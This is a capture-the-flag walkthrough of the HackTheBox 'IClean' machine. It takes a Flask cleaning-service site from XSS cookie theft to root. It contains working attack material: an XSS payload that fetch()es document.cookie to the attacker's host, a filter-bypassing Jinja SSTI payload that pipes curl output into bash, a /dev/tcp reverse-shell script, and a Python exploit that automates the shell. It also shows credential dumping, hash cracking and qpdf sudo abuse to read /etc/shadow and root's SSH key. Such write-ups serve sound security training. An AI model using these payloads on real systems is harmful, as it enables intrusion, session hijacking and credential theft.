IClean – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Medium
  • Platform: HackTheBox

‘IClean’ Avatar


Summary Link to heading

IClean is a medium Linux machine from HackTheBox. After an initial scan above TCP ports, they show the victim machine is running a website. This website presents a cleaning service. Among all the options available this site presents, we are able to request a service that is vulnerable to Cross Site Scripting (XSS); which allows us to steal a cookie and perform a Session Hijacking attack. With the stolen cookie we are able to enter in an Admin Dashboard. Once inside this dashboard, one of the services available within it is vulnerable to Server Side Template Injection (SSTI), which allows us to gain initial access on the victim machine as www-data user. Once inside, we find credentials for a MySQL service internally running, which exposes hashes for different users. Fortunately, one of these hashes is crackeable through a Brute Force Password Cracking. We are then able to connect via SSH with these new credentials as a new user. Once inside as this new user, we see that it can run qpdf (a tool to work with PDF files) with sudo, which allows us to read restricted files that only root could read; among them we are able to read id_rsa (SSH key) file, copy it into our attacker machine and connect to the victim machine via SSH as root user.


User Link to heading

We start with Nmap scanning open for open TCP ports:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.12

Nmap scan shows only 2 ports open: 22 SSH and 80 HTTP:

❯ sudo nmap -sVC -p22,80 10.10.11.12 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 21:17 -04
Nmap scan report for 10.10.11.12
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.65 seconds

Visiting http://10.10.11.12 redirects to https://capiclean.htb. So I add this domain to my /etc/hosts file:

❯ echo '10.10.11.12 capiclean.htb' | sudo tee -a /etc/hosts

10.10.11.12 capiclean.htb

Now we can visit http://capiclean.htb webpage. The page shows a service that cleans houses:

IClean 1

Using WhatWeb I also note that this server is a Flask server:

❯ whatweb http://capiclean.htb

http://capiclean.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[contact@capiclean.htb], HTML5, HTTPServer[Werkzeug/2.3.7 Python/3.10.12], IP[10.10.11.12], JQuery[3.0.0], Python[3.10.12], Script, Title[Capiclean], Werkzeug[2.3.7], X-UA-Compatible[IE=edge]

There is a login panel at /login directory. Attempting to log in with default credentials like admin_admin or guest:guest do not work.

At this point I decide to look for directories attempting a Brute Force Directory Listing with Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://capiclean.htb -t 55

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://capiclean.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 200) [Size: 5267]
/login                (Status: 200) [Size: 2106]
/services             (Status: 200) [Size: 8592]
/team                 (Status: 200) [Size: 8109]
/quote                (Status: 200) [Size: 2237]
/logout               (Status: 302) [Size: 189] [--> /]
/dashboard            (Status: 302) [Size: 189] [--> /]
/choose               (Status: 200) [Size: 6084]
/server-status        (Status: 403) [Size: 278]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

I note that we have a /dashboard directory, but its access is 320 (Temporarily Moved). So I suspect that we can access to this directory if we have an account.

Scrolling down to the page, I can see a Get a Quote button:

IClean 2

Clicking on it redirects to http://capiclean.htb/quote:

IClean 3

Now, I intercept the request sent with Submit button in this page with Burpsuite. After some attempts, I note that if we select the options Carpet Cleaning, Tile & Grout and Office Cleaning this adds a parameter service, so the request looks like:

POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1

service=Carpet+Cleaning&service=Tile+%26+Grout&service=Office+Cleaning&email=test%40test.com

Sending this request to the Repeater within Burpsuite, I start playing with service and email parameters. After some attempts, in the service parameter, I try one of the following payloads:

<img src="http://<Attacker-IP>:<listening-port>";>

For this, I also start a listener on netcat on port 8000:

❯ nc -lvnp 8000

listening on [any] 8000 ...

Eventually, the request that works in Burpsuite is the following:

POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1

service=<img+src%3d"http%3a//10.10.16.3%3a8000"%3b>&email=test@test.com

IClean 5 where 10.10.16.3 is my attacker IP and 8000 is the port I am listening with netcat.

In my netcat listener, after some seconds, I get something:

❯ nc -lvnp 8000

listening on [any] 8000 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.12] 42592
GET / HTTP/1.1
Host: 10.10.16.3:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

So we are getting a Get request. I then attempt to get the user cookie (through a Cross Site Scripting, or XSS) running the command:

<img src=x onerror=fetch("http://<Attacker-IP>:<listening-port>/"+document.cookie);>

so my Burpsuite request looks like:

POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1

service=<img+src%3dx+onerror%3dfetch("http%3a//10.10.16.3%3a8000/"%2bdocument.cookie)%3b>&email=test@test.com

and in the netcat listener I get:

❯ nc -lvnp 8000

listening on [any] 8000 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.12] 42978
GET /session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU HTTP/1.1
Host: 10.10.16.3:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:3000
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

where I can see a cookie:

session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU

So this cookie might work in the site. Then go back to http//capiclean.htb/login and in my Firefox browser I press Ctrl+Shift+I and then go to Storage tab. There I add the cookie with the name session and the value we previously found:

IClean 6

Then, change the url to http://capiclean.htb/dashboard and refresh the site. Now we can see more options in the site:

IClean 7

and the site title is now Admin Dashboard. We have successfully performed a Session Hijacking.

Apparently this new site generates request for services. If I click on Generate Invoice I can see a panel that I fill with some random data:

IClean 8

Clicking on Generate generates an Invoice ID, in my case: 4643878681

Then, going back to the /dashboard I can see a Generate QR button that redirects to http://capiclean.htb/QRGenerator. I put my generated Invoice ID in the field available:

IClean 9

Clicking on Generate generates a QR Code Link. At the bottom I can see the field Insert QR Link to generate Scannable Invoice. If I put the QR Code link, which in my case is http://capiclean.htb/static/qr_code/qr_code_4643878681.png It redirects me to another page that puts details about the service:

IClean 10

…that’s expensive.

Here I will go back to /QRGenerator directory, I decide to intercept the Insert QR Link request with Burpsuite. We have a request that looks like:

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link=http%3A%2F%2Fcapiclean.htb%2Fstatic%2Fqr_code%2Fqr_code_4643878681.png

I remember that back in the days of the machine I resolved that was also running Flask was HTB Late. This machine was vulnerable to Server Side Template Injection (SSTI), so I attempt that as well. In the qr_link from the request above, I change its value to {{7*7}}. In Burpsuite I send the payload:

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={{7*7}}

and in the response I get:

<SNIP>
    </main>
    <div class="qr-code-container"><div class="qr-code"><img src="data:image/png;base64,49" alt="QR Code"></div>
    </body>
    </html>
<SNIP>

If I change the payload to {{9*9}} I get 81 and so on… So I assume this application is vulnerable to SSTI as well and is running Jinga. For HTB Late machine I remember that I used some examples from HackTricks to inject commands. However, it was not so easy here. I was reading this post that provided more Jinga payload examples, and also at HackTricks they show how to bypass filters without using some characters. We finally have the payload:

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl IP:PORT/revshell | bash")|attr("read")()}}

as explained in the mentioned blog.

My plan is simple:

  1. Expose a malicious script called rev.sh within a temporal Python server on port 8000.
  2. Start a listener with nc on port 443.
  3. Send a malicious payload through SSTI vulnerability to execute the exposed script in my temporal server on my port 8000.
  4. The malicious script will send a reverse shell to my nc listener.

For this to work let’s create a Bash script that will send us a reverse shell when executed on the victim machine:

#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.16.3/443 0>&1'

and call it rev.sh

I will serve this file in my machine on port 8000 setting a temporal Python HTTP server on the mentioned port:

❯ chmod +x rev.sh

❯ ls && python3 -m http.server 8000

rev.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

I will then modify the mentioned payload previously and adapt it. In my case I will change the attacker IP to 10.10.16.3, port 8000 (the port with my temporal exposed server) and change the payload name from revshell to rev.sh. I start a listener with netcat on port 443. And then, in Burpsuite, I send the payload/request:

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl+10.10.16.3%3a8000/rev.sh|bash")|attr("read")()}}

and we should get a reverse shell in our netcat listener.

I additionally create a Python script that will send us a reverse shell in case we need to quickly gain connection again against the target:

#!/usr/bin/python3

import requests
import sys
import argparse


default_cookie: str = 'eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU'


def parse_arguments()->argparse.Namespace:
    parser = argparse.ArgumentParser(description='Reverse Shell to "HackTheBox IClean" machine.')

    # Add arguments
    parser.add_argument('-i', '--ip', type=str, help='Your attacker Ip to connect from the target machine', required=True)
    parser.add_argument('-p', '--port', type=int, help='Listening port to get reverse shell', required=True)
    parser.add_argument('-c', '--cookie', type=str, help=f'Cookie found from XXS. Only change this value if the cookie is different from {default_cookie!r}', 
                        default=default_cookie)

    # Return arguments
    return parser.parse_args()


def make_request_server(args: argparse.Namespace)->None:
    url = "http://capiclean.htb:80/QRGenerator"
    cookies_value = {"session": args.cookie}
    generic_header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", 
                      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 
                      "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", 
                      "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://capiclean.htb", 
                      "DNT": "1", "Connection": "close", "Referer": "http://capiclean.htb/QRGenerator", 
                      "Upgrade-Insecure-Requests": "1"}
    payload: str = f"{{{{request|attr(\"application\")|attr(\"\\x5f\\x5fglobals\\x5f\\x5f\")|attr(\"\\x5f\\x5fgetitem\\x5f\\x5f\")(\"\\x5f\\x5fbuiltins\\x5f\\x5f\")|attr(\"\\x5f\\x5fgetitem\\x5f\\x5f\")(\"\\x5f\\x5fimport\\x5f\\x5f\")(\"os\")|attr(\"popen\")(\"bash -c 'bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1'\")|attr(\"read\")()}}}}"
    post_data = {"invoice_id": '', "form_type": "scannable_invoice", "qr_link": payload}
    requests.post(url, headers=generic_header, cookies=cookies_value, data=post_data)
    return


def main()->None:
    # Get arguments from user
    args = parse_arguments()
    # Make the reverse shell request
    make_request_server(args)


if __name__ == "__main__":
    main()

and run:

❯ python3 connect_to_server.py -i 10.10.16.3 -p 443

Running any of these options give me a reverse shell as www-data user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.12] 46446
bash: cannot set terminal process group (1206): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ whoami

whoami
www-data

At /opt/app I can see an app.py file. Inside this file I can see something:

<SNIP>
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}
<SNIP>

Checking for internal ports open I can see port 3306, this indicates that we might have a MySQL database running:

www-data@iclean:/opt/app$ ss -ntlp

ss -ntlp
State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
LISTEN 0      70         127.0.0.1:33060      0.0.0.0:*
LISTEN 0      10         127.0.0.1:45495      0.0.0.0:*
LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*
LISTEN 0      511          0.0.0.0:80         0.0.0.0:*
LISTEN 0      128          0.0.0.0:22         0.0.0.0:*
LISTEN 0      128        127.0.0.1:3000       0.0.0.0:*    users:(("python3",pid=1206,fd=4))
LISTEN 0      151        127.0.0.1:3306       0.0.0.0:*
LISTEN 0      128             [::]:22            [::]:*

I can connect to MySQL database with these credentials, but the terminal is too slow. We can add -e flag in mysql command to send the SQL commands from terminal and fix this little issue:

www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'show databases;'

mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'show databases;'
mysql: [Warning] Using a password on the command line interface can be insecure.
Database
capiclean
information_schema
performance_schema

www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; show tables'

mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; show tables'
mysql: [Warning] Using a password on the command line interface can be insecure.
Tables_in_capiclean
quote_requests
services
users

www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; select * from users;'

mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; select * from users;'
mysql: [Warning] Using a password on the command line interface can be insecure.
id      username        password        role_id
1       admin   2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51        21232f297a57a5a743894a0e4a801fc3
2       consuela        0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa        ee11cbb19052e40b07aac0ca060c23ee

We find users and password hashes.

We can then attempt a Brute Force Password Cracking with JohnTheRipper (john) against these hashes. I save these hashes in my attacker machine in a file called hashes:

❯ cat hashes

admin:2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51
consuela:0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa

and attempt to crack them:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes --format=raw-sha256

Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=5
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
simple and clean (consuela)
1g 0:00:00:01 DONE (2024-05-25 00:01) 0.6535g/s 9374Kp/s 9374Kc/s 11837KC/s """anokax"..*7¡Vamos!
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.

so we have credentials: consuela:simple and clean.

I check with NetExec if these credentials allow us to connect to the victim machine via SSH:

❯ netexec ssh 10.10.11.12 -u 'consuela' -p 'simple and clean'

SSH         10.10.11.12     22     10.10.11.12      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
SSH         10.10.11.12     22     10.10.11.12      [+] consuela:simple and clean  (non root) Linux - Shell access!

and they do.

So we can just connect via SSH as consuela user:

❯ sshpass -p 'simple and clean' ssh -o stricthostkeychecking=no consuela@10.10.11.12

Warning: Permanently added '10.10.11.12' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Sat May 25 04:05:26 AM UTC 2024




Expanded Security Maintenance for Applications is not enabled.

3 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have mail.
consuela@iclean:~$

where we can get the user flag at consuela home directory.


Root Link to heading

Checking what can this user run with sudo we have:

consuela@iclean:~$ sudo -l

[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

so this user can run QPDF as sudo.

Searching what is qpdf linux on Google returns:

Info
QPDF is a command-line tool and C++ library that performs content-preserving transformations on PDF files. It supports linearization, encryption, and numerous other features.

Looking at QPDF documentation we have the --qpdf flag that tells QPDF to produce a QDF file, which is a more human-readable form of a PDF. It is often used for debugging or editing PDF files manually. We can then add a file attaching it to another file, in this case we can try a file that only root might have access like, for example, /etc/shadow. Then --empty creates an empty file. Finally, we have to name the output file. So I run the command:

consuela@iclean:~$ sudo /usr/bin/qpdf --qdf --add-attachment /etc/shadow -- --empty /tmp/shadow

We can then check that file /tmp/shadow has been created:

consuela@iclean:~$ ls -la /tmp

total 80
<SNIP>
drwx------  8 games games  4096 May 25 04:18 puppeteer_dev_chrome_profile-XXXXXXlBvpBX
-rw-r--r--  1 root  root   2318 May 25 04:18 shadow
drwx------  3 root  root   4096 May 25 01:11 systemd-private-7dee036bbe3843cda10c4499f30b3eaa-apache2.service-BfaArY
drwx------  3 root  root   4096 May 25 03:06 systemd-private-7dee036bbe3843cda10c4499f30b3eaa-fwupd.service-sb0OkN
<SNIP>

and we can read it:

consuela@iclean:~$ cat /tmp/shadow

%PDF-1.3
%
%QDF-1.0
<SNIP>
root:$y$j9T$s0AIwd7onN6K77K5v8DNN/$bSd333U5BKvkfCPEGdf9dLl3bOYwqOlFNtGZ1FQQuv/:19774:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
<SNIP>
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19605:0:99999:7:::
consuela:$y$j9T$kcli/RCzquedZVyk0783m/$8KhTzkFppH2THx1k0SuUcjSP4jFXNl6HokF4MKwFr60:19605:0:99999:7:::
lxd:!:19605::::::
snapd-range-524288-root:!:19605::::::
snap_daemon:!:19605::::::
<SNIP>

so it worked.

We could try to crack this password. But before doing that, since SSH port was open, there might exist a /root/.ssh/id_rsa file. So we repeat the step above, but copying /root/.ssh/id_rsa file for root (if it exists):

consuela@iclean:~$ sudo /usr/bin/qpdf --qdf --add-attachment /root/.ssh/id_rsa -- --empty /tmp/id_rsa

consuela@iclean:~$ cat /tmp/id_rsa

%PDF-1.3
%
%QDF-1.0
<SNIP>
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
<SNIP>

I save this file in my attacker machine into a file called id_rsa_root, and then run:

❯ chmod 600 id_rsa_root

❯ ssh -i id_rsa_root root@10.10.11.12

Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Sat May 25 04:24:41 AM UTC 2024




Expanded Security Maintenance for Applications is not enabled.

3 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@iclean:~# whoami

root

where we can finally get the root flag at /root directory.

~Happy Hacking